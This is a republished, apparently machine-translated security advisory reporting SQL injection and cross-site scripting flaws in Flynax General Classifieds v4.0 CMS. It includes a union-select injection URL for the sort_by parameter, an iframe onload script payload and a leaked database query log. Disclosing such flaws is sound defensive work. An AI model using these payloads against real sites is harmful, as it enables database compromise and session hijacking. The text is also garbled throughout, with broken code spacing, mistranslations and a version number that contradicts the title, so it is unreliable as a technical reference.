Flynax General Classifieds v4.0 CMS multiple defects and repair

Source: Internet
Author: User

Title: Flynax General Classifieds v4.0 CMS-Multiple Vulnerabilities
Affected Versions: 8.3
 
Summary:
==================
Choosing Flynax General Classifieds software allows you to set up any classifieds website. It is not designed for
Particle niche so it can be adjusted to any idea of a classifieds website. This gives you a chance to choose
Any niche for your classifieds website. For example you may create a classifieds website which will base on local
Classifieds with job ads, sport goods, motorbikes, bicycles or be oriented on all ideas in one website. Using General
Classifieds software with plugins you may create that classifieds website which you desire to have.
 
Abstract:
==========
Flynax General Classifieds v4.0 CMS contains multiple defects
 
Analysis:
==========
1.1
A SQL Injection vulnerability is detected in the Flynax General Classifieds v4.0 Content Management System. Remote attackers
Without privileged user accounts can execute/inject own SQL commands to compromise the application dbms. The vulnerability is
Located in the general module with the bound vulnerable sort_by parameter. Successful exploitation of the vulnerability result
In dbms (Server) or application (Web) compromise. Exploitation requires no user inter action & without privileged user account.
 
Vulnerable Module (s ):
[+] General
 
Vulnerable Parameter (s ):
[+] Sort_by
 
 
1.2
Multiple persistent input validation vulnerabilities are detected in the Flynax General Classifieds v4.0 Content Management System.
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent). The persistent
Vulnerabilities are located in Administrators, User Account & Categories add/list modules with the bound vulnerable titel & username
Parameters. Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent) context
Manipulation. Exploitation requires low user inter action & privileged user account.
 
Vulnerable Module (s ):
[+] Common> Administrators> Add an Administrator & Listing
[+] User Accounts> Add an User Account & Listing
[+] Categories> Add a Category & Listing
 
Vulnerable Parameter (s ):
[+] Username
[+] Titel
 
 
1.3
Multiple non persistent cross site scripting vulnerabilities are detected in the Flynax General Classifieds v4.0 Content Management System.
The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with medium or high required user inter
Action or local low privileged user account. The bugs are located in the seach module with the bound vulnerable Titel & Price parameters.
Successful exploitation can result in account steal, client side phishing & client-side content request manipulation. Exploitation requires
Medium or high user inter action & without privileged web application user account.
Www.2cto.com
Vulnerable Module (s ):
[+] Search
 
Vulnerable Parameter (s ):
[+] Titel
[+] Price
 
 
Test proof:
========================
1.1
The SQL Injection Vulnerability can be exploited by remote attackers without user inter action & without privileged user account.
For demonstration or reproduce...
 
PoC:
Http://www.bkjia.com/general? Sort_by =-1 union all select 1, 2, 4, 5, 6, 7, 8, 9, @ version, 11 --
 
 
 
--- Exception Logs ---
 
MYSQL ERROR
Error: Unknown column 'T1. 'in 'order clause'
 
Query: SELECT SQL _CALC_FOUND_ROWS DISTINCT SUBSTRING_INDEX (GROUP_CONCAT (DISTINCT 't6 '. 'thumbnail 'order BY 't6'. 'type'
DESC, 't6 '. 'id' ASC), ',', 1) AS 'main _ photo ', 'T1 '. *, 't1 '. 'shows ', 't3 '. 'path' AS 'path', 't3 '. 'key' AS 'key', 't3 '. 'type'
AS 'listing _ type', COUNT ('t6 '. 'thumbnail ') AS 'photos _ count', IF (UNIX_TIMESTAMP (DATE_ADD ('t1 '. 'featured _ date', INTERVAL 't2 '.'
Listing_period 'day)> UNIX_TIMESTAMP (NOW () OR 't2 '. 'listing _ period '= 0, '1', '0') 'featured' FROM 'fl _ listings' AS 't1'
Left join 'fl _ listing_plans 'AS 't2' ON 't1 '. 'Plan _ id' = 't2 '. 'id' left join 'fl _ categories 'AS 't3' ON 't1 '. 'category _ id' =
'T3 '. 'id' left join 'fl _ listing_photos 'AS 't6' ON 't1 '. 'id' = 't6 '. 'listing _ id' left join 'fl _ accounts' AS 't7 'ON 't1 '.'
Account_ID '= 't7 '. 'id' WHERE (UNIX_TIMESTAMP (DATE_ADD ('t1 '. 'Pay _ date', INTERVAL 't2 '. 'listing _ period 'day)> UNIX_TIMESTAMP (NOW ())
OR 't2 '. 'listing _ period '= 0) AND 't1 '. 'account _ id' = '2' AND 't1 '. 'status' = 'active' AND 't3 '. 'status' = 'active' group by 't1 '.
'Id' order by 't1'. ''desc limit 0, 10
 
Function: getAll
Class: rlDb
File:/home/[PATH]/public_html/general/shortdes/classes/rlListings. class. php (line #831)
 
 
 
 
1.2
The persistent input validation vulnerabilities can be exploited with low privileged user account and low required user inter action.
For demonstration or reproduce...
 
 
Review: User Accounts> Add an User Account & Listing
 
<Tr class = "x-grid3-row-body-tr"> <td colspan = "9" class = "x-grid3-body-cell" tabindex = "0" hidefocus = "on"> <div class = "x-grid3-row-body">
</Div> </td> </tr> </tbody> </table> </div> <div class = "x-grid3-row x-grid3-row-collapsed x-grid3-row-last" style = "width: 1063px; ">
<Table class = "x-grid3-row-table" style = "width: 1063px; "border =" 0 "cellpadding =" 0 "cellspacing =" 0 "> <tbody> <tr> <td class =" x-grid3-col x-grid3-cell
X-grid3-td-checker x-grid3-cell-first "style =" width: 19px; "tabindex =" 0 "> <div class =" x-grid3-cell-inner x-grid3-col-checker"
Unselectable = "on"> <div class = "x-grid3-row-checker"> </div> </td> <td class = "x-grid3-col x-grid3-cell x-grid3-td-expander"
Style = "width: 18px; "tabindex =" 0 "rowspan =" 2 "> <div class =" x-grid3-cell-inner x-grid3-col-expander "unselectable =" on "> <div class =" x-grid3-row-expander ">
</Div> </td> <td class = "x-grid3-col x-grid3-cell x-grid3-td-rlExt_black_bold" style = "width: 38px;" tabindex = "0">
<Div class = "x-grid3-cell-inner x-grid3-col-rlExt_black_bold" unselectable = "on"> 5 </div> </td> <td class = "x-grid3-col x-grid3-cell x-grid3-td-3"
Style = "width: pixel PX; "tabindex =" 0 "> <div class =" x-grid3-cell-inner x-grid3-col-3 "unselectable =" on "> <[injected persistent script code] </div '>
</Td> <td class = "x-grid3-col x-grid3-cell x-grid3-td-rlExt_item_bold" style = "width: 226px;" tabIndex = "0"> <div
Class = "x-grid3-cell-inner x-grid3-col-rlExt_item_bold" unselectable = "on"> <a href = "http: // general. [SERVER]: 1339/admin/index. php? Controller =
Accounts & action = view & userid = 5 "> N/A </a> </div> </td> <td class =" x-grid3-col x-grid3-cell x-grid3-td-rlExt_item"
Style = "width: 198px;" tabIndex = "0"> <div class = "x-grid3-cell-inner x-grid3-col-rlExt_item" unselectable = "on"> <span ext:
Qtip = "Click here to edit"> yea@gmail.com </span> </div> </td> <td class = "x-grid3-col x-grid3-cell x-grid3-td-6"
Style = "width: pixel PX;" tabIndex = "0"> <div class = "x-grid3-cell-inner x-grid3-col-6" unselectable = "on"> Buyer </div> </td
> <Td class = "x-grid3-col x-grid3-cell x-grid3-td-7" style = "width: pixel PX;" tabIndex = "0"> <div class = "x-grid3-cell-inner
X-grid3-col-7 "unselectable =" on "> Jul 10,201 2 </div> </td> <td class =" x-grid3-col x-grid3-cell x-grid3-td-8 "style =" width:
98px; background: # d2e798; "tabIndex =" 0 "> <div class =" x-grid3-cell-inner x-grid3-col-8 "unselectable =" on "> <span
Ext: qtip = "Click here to edit"> Active </span> </div> </td> <td class = "x-grid3-col x-grid3-cell x-grid3-td-9 x-grid3-cell-last
"Style =" width: 98px; "tabIndex =" 0 "> <div class =" x-grid3-cell-inner x-grid3-col-9 "unselectable =" on "> <center> <
Href = 'HTTP: // general. [SERVER]: 1339/admin/index. php? Controller = accounts & action = view & userid = 5'> Ext: qtip = 'view' src = 'HTTP: // general. [SERVER]: 1339/admin/img/blank.gif '/> </a> <a href = 'HTTP: // general. [SERVER]: 1339/admin/
Index. php? Controller = accounts & action = edit & account = 5'> Admin/img/blank.gif '/> </a> Onclick = 'xajax _ prepareDeleting (5) '/> </center> </div> </td> </tr> <tr class = "x-grid3-row-body-tr"> <
Td colspan = "9" class = "x-grid3-body-cell" tabIndex = "0" hidefocus = "on"> <div class = "x-grid3-row-body"> </div> </td> </ tr
> </Tbody> </table> </div> </iframe> </div> </td> </tr> </tbody> </table> </div> </div>
 
Common> Administrators> Add an Administrator> Username
URL: http://www.bkjia.com/admin/index. php? Controller = admins
URL: http: // general. [SERVER]: 1339/admin/index. php? Controller = admins & status = new
 
User Accounts> Add an User Account> Username
URL: http: // general. [SERVER]: 1339/admin/index. php? Controller = accounts
URL: http: // general. [SERVER]: 1339/admin/index. php? Controller = accounts & status = new
 
 
 
Review: Categories> Add a Category & Listing
 
<Div class = "x-grid3-cell-inner x-grid3-col-rlExt_item_bold" unselectable = "on"> <[injected persistent script code]) '<= "" div = ""> </td>
<Td class = "x-grid3-col x-grid3-cell x-grid3-td-1" style = "width: 93px;" tabIndex = "0"> <div class = "x-grid3-cell-inner x-grid3-col-1"
Unselectable = "on"> <a style = "display: block;" ext: qtip = "Browse Category" class = "green_11" href = "http: // general.127.0.0.1: 1339/admin/index. php?
Controller = browse & id = 13 "> <B> 2 </B> </a> </div> <
 
Categories> Add a Category> Titel
URL: http://www.bkjia.com/admin/index. php? Controller = categories
URL: http: // general. [SERVER]: 1339/admin/index. php? Controller = categories & status = new
 
 
 
1.3
The non persistent cross site scripting vulnerability can be exploited by remote attackers with medium or high required user inter action.
For demonstration or reproduce...
 
String:> <iframe src = http://vuln-lab.com onload = alert ("VulnerabilityLab") <
 
Review: Search-Title & Price
 
<Div class = "value">
<Input> <[non persistent script code] "class =" numeric field_from w50 "type =" text"
Name = "f [price] [from]" maxlength = "15"> Alt = ""
Src = http://www.bkjia.com/uploads/allimg/131120/1626064495-0.gif"
Class = "between"/> <input value = ""> <iframe src ="
Class = "numeric field_to w50" type = "text" name = "f [price] [to]"
Maxlength = "15"/>
</Div>
 
URL: http: // general. [SERVER]: 1339/search.html
 
 
Risk:
=====
1.1
The security risk of the remote SQL injection vulnerability is estimated as critical.
 
1.2
The security risk of the persistent input validation vulnerabilities are estimated as medium (+ ).
 
1.3
The security risk of the non persistent cross site scripting vulnerabilities are estimated as low (+ ).

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.